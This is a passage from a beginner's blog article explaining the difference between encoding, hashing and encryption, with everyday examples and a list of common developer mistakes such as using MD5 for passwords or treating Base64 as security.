which hashing algorithms are safe
which are deprecated
and why simple hashing is not enough

3. Encryption (Two Way, Can Reverse)

Encryption is used to protect data so only the right person or system can read it.

Two types of encryption

1. Symmetric encryption

Same key is used to encrypt and decrypt.

Example: AES
Used in: VPNs, disk encryption, WiFi protection

2. Asymmetric encryption

One key encrypts, another key decrypts.

Example: RSA, ECC
Used in: HTTPS, certificates, secure email

Why encryption is important

Protects passwords while sending (not storing)
Protects bank information
Protects communication between client and server
Protects files, backups, and databases

Encryption is the heart of modern cybersecurity.
Without it, the internet would not be safe.

4. Real World Examples

Example 1: Login page

Password should be hashed before storing
Data in transit should be encrypted (HTTPS)
Sometimes data in tokens is encoded (Base64 in JWT)

Example 2: File download

File hash (SHA-256) checks if file was changed
HTTPS encrypts the download
Metadata might be encoded

Example 3: API token

Tokens are usually encoded for readability
But the signature inside a JWT uses hashing (HMAC)
The communication uses encryption (TLS)

Encoding, hashing, and encryption all work together but each has a different job.

5. Mistakes Developers Often Make

I made many of these mistakes myself in my early years.

Thinking Base64 is security
Using MD5 or SHA-1 for passwords
Storing passwords without salt
Using encryption without understanding key management
Mixing encoding with hashing

Understanding these mistakes helps you build more secure systems.

6. Summary (Easy to Remember)

Encoding is for representation
Hashing is for verification
Encryption is for protection

This is the most simple and clear way to remember the difference.

Final Words

This is my second article in my cybersecurity learning journey. My goal is to understand every concept in a simple and practical way, without confusing terms. If you are also starting fresh, I hope this explanation helps you too.

Next I will write more articles about Linux, cybersecurity tools, and networking, all in simple language from a developer point of view.

Stay tuned, and thank you for reading.